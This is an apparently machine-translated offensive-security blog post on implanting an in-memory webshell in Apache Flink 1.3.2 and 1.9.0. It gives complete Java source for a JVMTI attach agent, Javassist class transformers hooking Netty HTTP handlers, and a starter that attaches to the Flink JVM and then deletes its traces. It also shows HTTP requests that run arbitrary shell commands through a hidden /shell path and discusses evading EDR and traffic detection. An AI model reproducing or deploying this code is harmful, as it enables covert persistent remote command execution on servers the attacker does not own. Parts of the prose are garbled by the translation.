Author: turnitup (core author of Xin'an Road)
In an important production network, the target server cannot be connected externally, but how to write a memory horse in the case of Apache Flink is recorded in this paper.
1. Ideas
First, the target machine Flink is 1.3.2 and 1.9.0. The underlying layer of Flink uses Netty as a multi-functional socket server. We can have two solutions:
① Register the controller;
② Write the memory horse through the JVMTI ATTACH mechanism and Hook key methods.
1.1 application layer
The first scheme is to obtain the variables used for routing functions from the current or global memory horse similar to Tomcat and Spring, and register its own routing and processor. Take the 1.9.0 code as an example. The web server startup and initialization of jobmanager is located at org apache. flink. runtime. rest. RestServerEndpoint#start.
Here, the custom controller handler is registered to the router, so we only need to refer to the business code of Flink, write our own handler, and then register it to the route variable. However, it is a pity that the author looked around and found no relevant static variables, so the routing object could not be obtained. In addition, no useful variables are passed in the code executed by jar (invoke main method). Or you can find a way to add a custom SocketChannel, but this method is more unrealistic.
1.2 JVM TI Attach
Directly use JVMTI's attach mechanism and hook specific class method, insert our webshell method in front of it, and finally realize the memory horse under versions 1.3.2 and 1.9.0 through the DEBUG related HTTP processing flow.
This paper mainly focuses on how to use this method to realize the internal charging of flink.
1.3 system layer
At the system level, the Trojan horse at the system level is realized through port reuse. Someone in the prophet put forward this idea and used Hook technology to build a general Webshell
https://xz.aliyun.com/t/9774
However, there are some problems:
① The permission requirements for performing this operation are very high;
② The hook operation is easy to be found by EDR;
③ It needs to be compatible with different platforms, and different linux environments may lead to incompatibility.
The boss said that it is not easy to be killed by replacing the lib library, but it needs to be restarted (digression).
2. JVM TI overview
Java virtual machine opens an interface called JVM Tool Interface (JVM TI). Through this interface, we can view and modify the Java program code running in the JVM.
The program that implements the JVM TI interface is called agent. Agent can be executed in three ways,
① Agent start up (onload phase): execute the agent before the main function of the java program is executed. The java command needs to specify the agent through the - javaagent parameter. The implementation method is premain
② agent start up (live phase): for running JAVA programs, dynamically load agents through JVM interprocess communication. The implementation method is attach mechanism
③ Agent Shutdown: executed when the library of the virtual machine is about to be uninstalled.
If you use JDK / tools The jvm operation class provided by com. Jar sun. tools. attach. Due to the limitation of virtualmachine #loadAgent (Java. Lang. string), our agent needs to land in the system first, and the program executing loadAgent is called starter.
As for the agent, recently @ beyond proposed a scheme that does not require landing, but in fact, I don't think it's a big problem to land the agent (please give advice):
https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw
3. General framework
First, we upload our starter through Flink's JAR upload execution function After JAR and starter are executed, we first release the agent to the system temporary directory, then load the agent, and delete it after loading.
4. Look for Hook points
Since Netty is a socket server supporting multiple protocols, and Flink does the parsing and encapsulation of application layer HTTP, we can choose the corresponding method of Hook on Flink for simplicity and efficiency.
2.1 Flink 1.3.2
By browsing the stack information and looking at the relevant code, we can easily find that the key class methods we need in this version are at org apache. flink. runtime. webmonitor. HttpRequestHandler#channelRead0
However, when an HTTP request comes, we can't get the whole HTTP message at one time. In the case of msg instance of HttpRequest, we get the request line and request header (hereinafter referred to as the request header). Next time we go to channelRead0 and msg instance of HttpRequest, we get the request Body, At this time, you need to get the currentRequest request header and the currentDecoder decoder from this, and then parse and obtain the key value in the Body.
2.2 Flink 1.9.0
At first, the author saw the same code as 1.3.2 in version 1.9.0 and thought that the web process had not changed and the hook method of 1.3.2 could be used. However, in the actual test, it was found that the old code had not been deleted and the process had changed, resulting in the author's need for a new hook method.
The author uses org apache. flink. runtime. rest. Fileuploadhandler#channelread0 is used as a hook point. The basic logic of the code here is the same as that in 1.3.2. It is also unable to directly get the whole HTTP request message. You need to use this in the case of msg instance HttpContent The currenthttppostrequestdecoder processes the BODY and gets the KEY-VALUE form data from this Currenthttprequest gets the HTTP header.
5. Write Agent
We first write an interface class IHook to declare the element methods of a Hook point, in which we can obtain the method description symbols through the JDK's own tools, such as
javap -cp flink-dist_2.11-1.9.0.jar -p -s org.apache.flink.runtime.rest.FileUploadHandler
5.1 IHook
package com.attach.hook;
public interface IHook {
/**
* @return Pile insertion code
*/
String getMethodSource();
/**
* @return The target class space name of the Hook
*/
String getTargetClass();
/**
* @return The target method name of the Hook
*/
String getTargetMethod();
/**
* @return Target method descriptor by Hook
*/
String getMethodDesc();
}5.2 Flink132
When writing the Hook point of the target method, we need to reference the relevant classes or fields. When the local IDEA test runs, we can directly reference the relevant jar package. When packaging the jar, we can choose not to package it to avoid getting too large jar package.
In addition, the ice scorpion tool is not applicable to the business functions of webshell, because the business logic of behind is closely coupled with HttpServletSession, HttpServletRequest and HttpServletResponse, and the workload of modifying its code is also large. But I still hope to have a graphical interface tool to help us manage webshell, which can greatly improve our salary efficiency. Then the author thought of using the original tool cknife (JAVA open source kitchen knife) directly. It can be used with a little change, but if you want to avoid killing traffic, you have to change the client source code, which also takes energy.
Later, you can see the CMDLINUX Shell function of AntSword. The server only needs to provide command execution function and echo the results to browse and modify files; Moreover, AntSword supports user-defined encryption, which makes it easy to choose this tool. As for other important functions, such as proxy, let's put them first.
In addition, the author added the memory horse deletion function to the memory horse code. When the user accesses the / UNINSTALL path, it will trigger removeTransformer(..), Remove the relevant hook points.
flink1.3.2 after the code given by the author successfully hook s, the HTTP that triggers the command execution is as follows:
POST /shell HTTP/1.1 Host: 192.168.198.128:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 10 cmd=whoami
package com.attach.hook;
import com.attach.Agent;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelFutureListener;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.multipart.DiskAttribute;
import io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;
import io.netty.handler.codec.http.multipart.InterfaceHttpData;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import static com.attach.util.FileUtil.IS_WIN;
import static io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;
import static io.netty.handler.codec.http.HttpVersion.HTTP_1_1;
import io.netty.handler.codec.http.HttpContent;
public class Flink132 implements IHook{
@Override
public String getMethodSource() {
return "com.attach.hook.Flink132.getShell($0,$1,$2);";
}
@Override
public String getTargetClass() {
return "org.apache.flink.runtime.webmonitor.HttpRequestHandler";
}
@Override
public String getTargetMethod() {
return "channelRead0";
}
@Override
public String getMethodDesc() {
return "(Lio/netty/channel/ChannelHandlerContext;Lio/netty/handler/codec/http/HttpObject;)V";
}
public static void getShell(Object handler,io.netty.channel.ChannelHandlerContext ctx,
io.netty.handler.codec.http.HttpObject msg) {
//If Java Lang.noclassdeffounderror exception cannot be caught and will affect business.
try {
String uriSymbol = "/shell";
String cmdKey = "cmd";
if (msg instanceof io.netty.handler.codec.http.HttpContent) {
Field currentDecoderField = handler.getClass().getDeclaredField("currentDecoder");
currentDecoderField.setAccessible(true);
io.netty.handler.codec.http.multipart.HttpPostRequestDecoder currentDecoder =
(io.netty.handler.codec.http.multipart.HttpPostRequestDecoder) currentDecoderField.get(handler);
Field currentRequestField = handler.getClass().getDeclaredField("currentRequest");
currentRequestField.setAccessible(true);
DefaultHttpRequest request = (DefaultHttpRequest) currentRequestField.get(handler);
HttpContent chunk = (HttpContent) msg;
//currentDecoder not null meaning method is POST and body has data.
if (currentDecoder != null && request!=null) {
if (request.getUri().startsWith("/UNINSTALL")) {
if (Agent.transformer != null) {
Agent.transformer.release();
}
}
if (request.getUri().startsWith(uriSymbol)) {
currentDecoder.offer(chunk);
Map<String, String> form = new HashMap<String, String>();
try{
while (currentDecoder.hasNext()) {
InterfaceHttpData data = currentDecoder.next();
if (data instanceof DiskAttribute) {
String key = data.getName();
String value = ((DiskAttribute) data).getValue();
form.put(key, value);
}
data.release();
}
} catch (HttpPostRequestDecoder.EndOfDataDecoderException ignored) {}
String cmd = "null cmd";
if (form.containsKey(cmdKey)) {
cmd = form.get(cmdKey);
}
if (!form.containsKey(cmdKey)) {
return;
}
String[] cmds = null;
if (!IS_WIN) {
cmds = new String[]{"/bin/bash", "-c", cmd};
} else {
cmds = new String[]{"cmd","/c",cmd};
}
java.io.InputStream in =
Runtime.getRuntime().exec(cmds).getInputStream();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
int a = -1;
byte[] b = new byte[1];
outputStream.write("<pre>".getBytes());
while((a=in.read(b))!=-1){
outputStream.write(b);
}
outputStream.write("</pre>".getBytes());
HttpResponseStatus status = new HttpResponseStatus(200, "OK");
FullHttpResponse response = new DefaultFullHttpResponse(
HTTP_1_1, status, Unpooled.copiedBuffer(outputStream.toByteArray()));
response.headers().set(CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
// HTTP GET
}else{
}
}
}
}
}5.3 Flink190
flink1. In 9.0, after the code given by the author successfully hook s, the HTTP that triggers the command execution is as follows:
POST /shell HTTP/1.1 Host: 192.168.198.128:8081 Content-Type: multipart/form-data; boundary=--------347712004 Content-Length: 98 ----------347712004 Content-Disposition: form-data; name="cmd" whoami ----------347712004--
package com.attach.hook;
import com.attach.Agent;
import org.apache.flink.shaded.netty4.io.netty.buffer.ByteBuf;
import org.apache.flink.shaded.netty4.io.netty.buffer.Unpooled;
import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFuture;
import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFutureListener;
import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.*;
import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.Attribute;
import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.InterfaceHttpData;
import org.apache.flink.shaded.netty4.io.netty.util.ReferenceCountUtil;
import org.apache.flink.shaded.netty4.io.netty.channel.ChannelHandlerContext;
import static com.attach.util.FileUtil.IS_WIN;
import static com.attach.util.FileUtil.writeMsg;
import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONNECTION;
import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;
import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpVersion.HTTP_1_1;
public class Flink190 implements IHook{
// public static String targetClass = "org.apache.flink.runtime.webmonitor.HttpRequestHandler";
@Override
public String getMethodSource() {
return "com.attach.hook.Flink190.getShell($0,$1,$2);";
}
@Override
public String getTargetClass() {
return "org.apache.flink.runtime.rest.FileUploadHandler";
}
@Override
public String getTargetMethod() {
return "channelRead0";
}
@Override
public String getMethodDesc() {
return "(Lorg/apache/flink/shaded/netty4/io/netty/channel/ChannelHandlerContext;Lorg/apache/flink/shaded/netty4/io/netty/handler/codec/http/HttpObject;)V";
}
public static void getShell(Object handler,
ChannelHandlerContext ctx,
HttpObject msg
) {
//If Java Lang.noclassdeffounderror exception cannot be caught and will affect business.
try {
String uriSymbol = "/shell";
String cmdKey = "cmd";
if (msg instanceof HttpContent) {
Field currentDecoderField = handler.getClass().getDeclaredField("currentHttpPostRequestDecoder");
currentDecoderField.setAccessible(true);
HttpPostRequestDecoder currentHttpPostRequestDecoder =
(HttpPostRequestDecoder) currentDecoderField.get(handler);
Field currentRequestField = handler.getClass().getDeclaredField("currentHttpRequest");
currentRequestField.setAccessible(true);
HttpRequest currentHttpRequest = (HttpRequest) currentRequestField.get(handler);
final HttpContent httpContent = (HttpContent) msg;
currentHttpPostRequestDecoder.offer(httpContent);
if (currentHttpRequest.uri().startsWith("/UNINSTALL")) {
if (Agent.transformer != null) {
Agent.transformer.release();
}
}
if (currentHttpRequest.uri().startsWith(uriSymbol)) {
Map<String, String> form = new HashMap<String, String>();
while (httpContent != LastHttpContent.EMPTY_LAST_CONTENT && currentHttpPostRequestDecoder.hasNext()) {
InterfaceHttpData data = currentHttpPostRequestDecoder.next();
if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute){
Attribute request = (Attribute) data;
form.put(request.getName(), request.getValue());
}
}
String cmd = "null cmd";
if (form.containsKey(cmdKey)) {
cmd = form.get(cmdKey);
}
for (String key : form.keySet()) {
writeMsg(key);
}
if (!form.containsKey(cmdKey)) {
return;
}
String[] cmds = null;
if (!IS_WIN) {
cmds = new String[]{"/bin/bash", "-c", cmd};
} else {
cmds = new String[]{"cmd","/c",cmd};
}
java.io.InputStream in =
Runtime.getRuntime().exec(cmds).getInputStream();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
int a = -1;
byte[] tmp = new byte[1];
outputStream.write("<pre>".getBytes());
while((a=in.read(tmp))!=-1){
outputStream.write(tmp);
}
outputStream.write("</pre>".getBytes());
HttpRequest tmpRequest = currentHttpRequest;
getMethodInvoke(handler, "deleteUploadedFiles", null, null);
getMethodInvoke(handler, "reset", null, null);
HttpResponse response = new DefaultHttpResponse(HTTP_1_1, HttpResponseStatus.OK);
response.headers().set(CONTENT_TYPE, "text/html");
response.headers().set(CONNECTION, HttpHeaders.Values.CLOSE);
byte[] buf = outputStream.toByteArray();
ByteBuf b = Unpooled.copiedBuffer(buf);
HttpHeaders.setContentLength(response, buf.length);
ctx.write(response);
ctx.write(b);
ChannelFuture lastContentFuture = ctx.writeAndFlush(LastHttpContent.EMPTY_LAST_CONTENT);
lastContentFuture.addListener(ChannelFutureListener.CLOSE);
ReferenceCountUtil.release(tmpRequest);
}
}
} catch (Exception e) {
}
}
private static Object getMethodInvoke(Object object, String methodName, Class[] parameterTypes,
Object[] args) throws Exception {
try {
Method method = getMethod(object, methodName, parameterTypes);
return method.invoke(object, args);
} catch (Exception e) {
throw new Exception(String.format("getMethodInvoke error:%s#%s",object.toString(),methodName));
}
}
private static Method getMethod(Object object, String methodName, Class<?>... parameterTypes) throws Exception {
try {
Method method = object.getClass().getDeclaredMethod(methodName,
parameterTypes);
method.setAccessible(true);
return method;
} catch (Exception e) {
throw new Exception(String.format("getMethod error:%s#%s",object.toString(),methodName));
}
}
}5.4 Agent
Because we use the attach mechanism to the hook method and insert piles, when our agent client is called by loadAgent, the entry method is agentmain, so we only write this method here. In addition, after the whole project is packaged into jars, we need to add corresponding attributes in META-INF/MANIFEST.
Agent-Class: com.attach.Agent Can-Retransform-Classes: true
package com.attach;
import java.lang.instrument.Instrumentation;
public class Agent {
public static Transformer transformer = null;
//Note that theoretically, the running environment already has relevant JAR packages. In order to reduce the size of the packaged JAR, it is not necessary to package other dependencies other than javassist
public static void agentmain(String vmName, Instrumentation inst) {
transformer = new Transformer(vmName, inst);
transformer.retransform();
}
}5.5 Transformer
We write our own Transformer class to implement ClassFileTransformer related interface methods. Since the target class should have been loaded, we need to re convert the loaded class through retransform.
package com.attach;
import com.attach.hook.IHook;
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List;
public class Transformer implements ClassFileTransformer{
private Instrumentation inst;
private List<IHook> hooks = new ArrayList<IHook>();
Transformer(String vmName,Instrumentation inst) {
//In order to adapt to different versions, you do not import directly here
try {
if (vmName.equals("org.apache.flink.runtime.jobmanager.JobManager")) {
this.hooks.add((IHook) Class.forName("com.attach.hook.Flink132").newInstance());
}
} catch (Exception e) {
}
try {
if (vmName.equals("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint")) {
this.hooks.add((IHook) Class.forName("com.attach.hook.Flink190").newInstance());
}
} catch (Exception e) {
}
this.inst = inst;
inst.addTransformer(this, true);
}
public void release() {
inst.removeTransformer(this);
retransform();
}
public void retransform() {
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class clazz : loadedClasses) {
for (IHook hook : this.hooks) { ;
if (clazz.getName().equals(hook.getTargetClass())) {
if (inst.isModifiableClass(clazz) ) {
try {
inst.retransformClasses(clazz);
} catch (Throwable t) {
}
}
}
}
}
}
@Override
public byte[] transform(ClassLoader classLoader, String s,
Class<?> aClass, ProtectionDomain protectionDomain,
byte[] classfileBuffer
) {
for (IHook hook : this.hooks) {
String targetClass = hook.getTargetClass();
if (targetClass.replaceAll("\\.", "/").equals(s)) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(targetClass);
CtMethod m = ctClass.getMethod(hook.getTargetMethod(),hook.getMethodDesc());
m.insertBefore(hook.getMethodSource());
byte[] byteCode = ctClass.toBytecode();
ctClass.detach();
return byteCode;
} catch (Exception ex) {
}
}
}
return null;
}
}6. Write Starter
For starter, you need to use JDK tools Jar package is used to communicate with JAVA virtual machine, but different JDK versions and different system architectures will lead to jvm or tools Jar. To avoid this problem, we can use URLClassLoader to find tools from the local lib library first Jar package. If you can't find it, use our packaged starter Jar. In the case of Linux, we can find tools directly under JDK/lib Jar package, and windows is much more complex, but it does not involve the windows scenario and does not need to be handled.
Because the VM Name of 1.3.2 and 1.9.0 has changed, the former is org apache. flink. runtime. jobmanager. Jobmanager, which is org apache. flink. runtime. entrypoint. Standalonesessionclusterentrypoint, which directly judges the two.
public class Starter {
String agentJar = "HookSomething.txt";
/**
* here use URLClassloader to load VirtualMachine class which from `tools.jar`
* the load sequence is 1. try to load from local system's jdk/lib/tools.jar
* 2. if can't load from local,try to load from the jar which we package
* Because we need to use the JVMTI and communicate with JVM ,it's related to JVM,
* so it's related to system architecture and java version.
* In this case,load tools.jar from local is the best choice , it can avoid the problem case by
* java version / system architecture .
* @param args
*/
public static void main(String[] args) {
try {
Starter app = new Starter();
//Set the agent under resource Release jar to temporary directory
String jarPath = app.writeAgentJar();
File javaHome = new File(System.getProperty("java.home"));
// here only handle Open JDK situation,others didn't . . Win Oracle JDK
String toolsPath = javaHome.getName().equalsIgnoreCase("jre") ? "../lib/tools.jar" : "lib/tools.jar";
URL[] urls = new URL[]{
//Find and load JDK lib tools first jar
new File(javaHome, toolsPath).getCanonicalFile().toURI().toURL(),
//If not, load the packaged JAR, or if not so has been loaded into Java lang.UnstisfiedLinkError
Starter.class.getProtectionDomain().getCodeSource().getLocation(),
};
URLClassLoader loader = new URLClassLoader(urls, null);
Class<?> VirtualMachineClass = loader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> VirtualMachineDescriptorClass = loader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
Method listM = VirtualMachineClass.getDeclaredMethod("list", null);
List vmList= (List) listM.invoke(null);
Object vm = null;
List<String> vmNames = new ArrayList<String>() {
{
add("org.apache.flink.runtime.jobmanager.JobManager");
add("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint");
}};
for (Object vmd : vmList) {
for (String vmName : vmNames) {
Method displayNameM = VirtualMachineDescriptorClass.getDeclaredMethod("displayName", null);
String name = (String) displayNameM.invoke(vmd);
if (name.startsWith(vmName)) {
Method attachM = VirtualMachineClass.getDeclaredMethod("attach", VirtualMachineDescriptorClass);
vm = attachM.invoke(null, vmd);
Method loadAgentM = VirtualMachineClass.getDeclaredMethod("loadAgent", String.class, String.class);
loadAgentM.invoke(vm, jarPath, vmName);
Method detachM = VirtualMachineClass.getDeclaredMethod("detach", null);
detachM.invoke(vm, null);
System.out.println("success");
}
}
}
loader.close();
new File(jarPath).delete();
} catch (Exception e) {
e.printStackTrace();
}
}7. libattach.so occupied
At first, the author thought that the JAR execution of flink was carried out through java -jar. Later, it was found that it was actually the invoke main method. This situation leads to a problem: after the starter successfully executes the attach, we unload the memory horse through the / UNINSTALL function. When we execute the starter again, we find that the starter fails. The reason is that there is a static code block loaded with libattach. When VirtualMachine is instantiated So, and the second execution of starter will result in Java. Java. When the so file is loaded Lang. unsatisfiedlinkerror: can't load library exception.
To avoid this problem, we can first release the starter to the temporary directory and run the starter by calling the system command jar jar.
8. Conclusion
When the route registration method does not work, it is a good method to use attach to write the memory horse. Theoretically, in any JAVA code execution vulnerability, we can use this method to write the memory horse, but we may need to work hard on the business function of the memory horse.